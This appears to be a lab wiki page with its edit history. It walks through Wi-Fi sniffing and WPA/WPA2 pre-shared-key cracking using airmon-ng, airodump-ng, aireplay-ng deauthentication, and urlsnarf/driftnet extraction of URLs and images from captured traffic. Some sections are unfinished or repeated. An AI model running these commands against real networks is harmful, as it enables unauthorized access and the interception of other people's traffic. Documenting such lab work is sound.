! Browser !! urlsnarf !! driftnet
|-
| Microsoft Edge (Windows 10 host) || no results reading the pcap file || no results reading the pcap file
|-
| Mozilla Firefox (Windows 10 host) || no results reading the pcap file || no results reading the pcap file
|-
| Google Chrome (Windows 10 host) || no results reading the pcap file || no results reading the pcap file
|-
| Google Chrome (Android host) || no results reading the pcap file || no results reading the pcap file
|-
| Samsung Internet (Android host) || URLs captured || images captured
|-
|}

== Used Hardware ==

* Windows 10 host
* Kali Linux host
* Samsung Galaxy A8
* [[LG Nexus 5X Google Smartphone 32 GB, Android 6.0 Marshmallow, Carbon]]
* [[Panda 300 Mbps Wireless N USB Adapter PAU05]]
* [[Alfa AWUS036ACH Wide Range AC1200 Wireless Adapter]]
* [[Alfa AWUS036EAC AC1200 USB Wireless Adapter]]

== References ==

* https://www.androidauthority.com/capture-data-open-wi-fi-726356/
* https://www.aircrack-ng.org/doku.php?id=airmon-ng
* https://www.aircrack-ng.org/doku.php?id=airodump-ng
* https://www.aircrack-ng.org/doku.php?id=injection_test
* https://www.aircrack-ng.org/doku.php?id=cracking_wpa
[[Category:Documentation]]

WiFi Sniffing

2021-12-17T11:06:02Z

MMehlfuehrer: /* Step 3 - */

== Summary ==

Sniff Wi-Fi traffic using wireless interfaces supporting [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] and [https://en.wikipedia.org/wiki/Packet_injection packet injection] (*).
WPA/WPA2 uses various types for authentication. Aircrack-ng is only capable of cracking pre-shared keys! Meaning only networks using PSK can be attacked. (To determine if a network uses PSK, airodump-ng is used). The method used to crack the pre-shared key is a plain brute force attack. This means the PSK needs to be in the used dictionary for the brute force attack. If it is not in the list, aircrack-ng can not determine the key.
For WPA/WPA2 cracking the initial 4-way handshake is needed. This handshake is conducted between a client and the AP, when a client tries to connect to the network.

== Requirements ==

* Operating system: [https://www.kali.org/downloads/12/ Kali Linux 64 Bit]
* Wireless card: One that can inject packets [https://www.aircrack-ng.org/doku.php?id=injection_test Injection test]
*

== Prerequisites==

The following information of the hardware used is needed:
*MAC of PC running the attack:
*MAC of a wireless client in the network:
*BSSID:
*ESSID:
*Channel used by AP:
*Wireless interface:

== Description ==
=== Overview ===
The following steps are needed to get the password:

1) Use monitor mode on the wireless interface using the AP channel

2) Using airodump-ng on AP channel, collecting needed handshake

3) Use aireplay-ng to deauthenticate a wireless client in the network

4) Use aircrack-ng to crack the key using the collected handshake

=== Step 1 - Use monitor mode on the wireless interface using the AP channel ===

To listen to every packet in the air the wireless card needs to be in monitor mode. If a wireless card is not in monitor mode it will only catch every packet addressed to itself. When listenting to every packet send an attacker eventually captures a 4-way handshake used to crack WPA/WPA2. Additionaly one can deauthenticate wireless clients, explained in a later step.

Depending on the driver used by the card, different methods need to used to enable monitor mode. This tutorial only shows the procedure for the madwifi-ng driver, for further information look at [https://www.aircrack-ng.org/doku.php?id=cracking_wpa aircrack-ng]'s tutorial

Open a terminal and type :

airmon-ng

to determine the driver your card is using. The ouput with a wireless card from Atheros is the following:

PHY Interface Driver Chipset
phy0 wlan0 ath9k_htc Qualcomm Atheros Communications AR9271 802.11n

The next step is to switch to monitor mode. Syntax: airmon-ng start <interface> <channel used by AP>. Because we dont know the used channel from the AP we only start the monitoring mode without a specific channel:

airmon-ng start wlan0

Ouput:

Found 2 processes that could cause trouble.
Kill them using 'airmon-ng check kill' before putting
the card in monitor mode, they will interfere by changing channels
and sometimes putting the interface back in managed mode
PID Name
605 NetworkManager
2948 wpa_supplicant
PHY Interface Driver Chipset
phy0 wlan0mon ath9k_htc Qualcomm Atheros Communications AR9271 802.11n
(mac80211 monitor mode already enabled for [phy0]wlan0mon on [phy0]wlan0mon)

Now we can check if the interface is in monitormode using iwconfig:

iwconfig
lo no wireless extensions.
eth0 no wireless extensions.
tun0 no wireless extensions.
wlan0mon IEEE 802.11 Mode:Monitor Frequency:2.457 GHz Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:off

As we can see the interface changed the name from wlan0 to wlan0mon and uses the monitor mode. With airodump-ng <interface> we can monitor all AP's within reach.

airodump-ng wlan0mon

The output presented shows all AP's with information like ESSUD, BSSID, PWR, beacons, channels, encryption, cipher and authentication methods used

CH 4 ][ Elapsed: 1 min ][ 2021-12-17 10:40
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
68:02:B8:1F:A1:3A -50 46 31 0 11 130 WPA2 CCMP PSK WLAN18250073

Important for the further attack is the BSSID (69:02:B8:1F:A1:3A) and the used channel (11).

=== Step 2 - Using airodump-ng on AP channel, collecting needed handshake ===

Now we got the BSSID and channel of the AP we can start capturing the 4-way handshake. With the command airodump-ng -c <channel> --bssid <bssid> -w <filename> <interface>

airodump-ng -c 11 -bssid 68:02:B8:1F:A1:3A -w CapturedData wlan0mon

Ouput:

output muss noch rein

Now the tool starts collecting every packet from this AP. It can take quite a while, until a 4-way handshake is made. Step 3 helps to speed things up.

=== Step 3 - Use aireplay-ng to deauthenticate a wireless client in the network ===

A faster way to capture the 4-way handshake is to connect with an additional client to the wireless network manualy. When connecting to the new network, the AP starts the 4-way handshake. Because this is impractical an attacker can deauthenticate clients already connected to WiFi network to reinitialize the 4-way handshake. BSSID and MAC of the device to deauthenticate are needed to conduct the attack.

---------------------------------------------------------------
Display your wireless interfaces:

iwconfig

Connect the external Wi-Fi adapter to your host computer.

iwconfig

The newly added interface in the list is the external adapter. In my case it was 'wlan1'. In the following steps I refer to the external adapter as 'wlan1'.

Start [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] on the external adapter (**):

airmon-ng start wlan1

The previous command creates a new interface called 'wlan1mon'. Verify with:

iwconfig

Display active Wi-Fi networks:

airodump-ng wlan1mon

Remember the channel of the network you want to attack. In my case it was channel 11.

Set your adapter to the appropriate channel:

iwconfig wlan1mon channel 11

Verify the frequency:

iwconfig wlan1mon
iwlist channel

Start capturing data:

airodump-ng --channel 11 -w alfa wlan1mon

Filter URLs from captured traffic:

urlsnarf -p alfa-01.cap

Filter pictures from captured traffic:

driftnet -f alfa-01.cap -a -d Pictures/

Disable [https://en.wikipedia.org/wiki/Monitor_mode monitor mode]:

airmon-ng stop wlan1mon

----
(*) Test if the adapter supports injection:

aireplay-ng -9 wlan1mon

Detailed information about wireless adapters available in ELVIS can be found [[:File:WiFiAdapter.zip|here]].

(**) This command did not work with [[Alfa AWUS036ACH Wide Range AC1200 Wireless Adapter|ALFA NETWORK AWUS036ACH]] and [[Alfa AWUS036EAC AC1200 USB Wireless Adapter|ALFA NETWORK AWUS036EAC]]. The following commands are an alternative way to start [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] on the adapter:

ifconfig wlan1 down
iwconfig wlan1 mode monitor
ifconfig wlan1 up

== Results ==

{| class="wikitable"
|-
! Browser !! urlsnarf !! driftnet
|-
| Microsoft Edge (Windows 10 host) || no results reading the pcap file || no results reading the pcap file
|-
| Mozilla Firefox (Windows 10 host) || no results reading the pcap file || no results reading the pcap file
|-
| Google Chrome (Windows 10 host) || no results reading the pcap file || no results reading the pcap file
|-
| Google Chrome (Android host) || no results reading the pcap file || no results reading the pcap file
|-
| Samsung Internet (Android host) || URLs captured || images captured
|-
|}

== Used Hardware ==

* Windows 10 host
* Kali Linux host
* Samsung Galaxy A8
* [[LG Nexus 5X Google Smartphone 32 GB, Android 6.0 Marshmallow, Carbon]]
* [[Panda 300 Mbps Wireless N USB Adapter PAU05]]
* [[Alfa AWUS036ACH Wide Range AC1200 Wireless Adapter]]
* [[Alfa AWUS036EAC AC1200 USB Wireless Adapter]]

== References ==

* https://www.androidauthority.com/capture-data-open-wi-fi-726356/
* https://www.aircrack-ng.org/doku.php?id=airmon-ng
* https://www.aircrack-ng.org/doku.php?id=airodump-ng
* https://www.aircrack-ng.org/doku.php?id=injection_test
* https://www.aircrack-ng.org/doku.php?id=cracking_wpa
[[Category:Documentation]]

WiFi Sniffing

2021-12-17T10:57:57Z

MMehlfuehrer: /* Step 1 - Use monitor mode on the wireless interface using the AP channel */

WiFi Sniffing

2021-12-17T10:45:49Z

MMehlfuehrer: /* Step 1 - Use monitor mode on the wireless interface using the AP channel */

WiFi Sniffing

2021-12-17T10:44:13Z

MMehlfuehrer: /* Step 1 - Use monitor mode on the wireless interface using the AP channel */

WiFi Sniffing

2021-12-17T10:38:40Z

MMehlfuehrer: /* Step 1 - Use monitor mode on the wireless interface using the AP channel */

WiFi Sniffing

2021-12-17T10:26:23Z

MMehlfuehrer: /* Step 1 - Use monitor mode on the wireless interface using the AP channel */

WiFi Sniffing

2021-12-17T10:26:10Z

MMehlfuehrer: /* Step 1 - Use monitor mode on the wireless interface using the AP channel */

WiFi Sniffing

2021-12-17T10:23:02Z

MMehlfuehrer: /* References */

WiFi Sniffing

2021-12-17T10:22:35Z

MMehlfuehrer: /* Description */

WiFi Sniffing

2021-12-17T10:11:27Z

MMehlfuehrer: /* Overview */

WiFi Sniffing

2021-12-17T10:07:32Z

MMehlfuehrer: /* Overview */

WiFi Sniffing

2021-12-17T10:07:20Z

MMehlfuehrer: /* Overview */

WiFi Sniffing

2021-12-17T10:07:01Z

MMehlfuehrer: /* Description */

WiFi Sniffing

2021-12-17T10:05:50Z

MMehlfuehrer: /* asdf */

WiFi Sniffing

2021-12-17T10:05:35Z

MMehlfuehrer: /* Description */

WiFi Sniffing

2021-12-17T10:04:16Z

MMehlfuehrer: /* References */

WiFi Sniffing

2021-12-17T10:02:14Z

MMehlfuehrer: /* Prerequisites */

WiFi Sniffing

2021-12-17T09:59:59Z

MMehlfuehrer:

WiFi Sniffing

2021-12-17T09:56:21Z

MMehlfuehrer: /* Requirements */

WiFi Sniffing

2021-12-17T09:56:03Z

MMehlfuehrer: /* Requirements */

WiFi Sniffing

2021-12-17T09:54:13Z

MMehlfuehrer: /* Summary */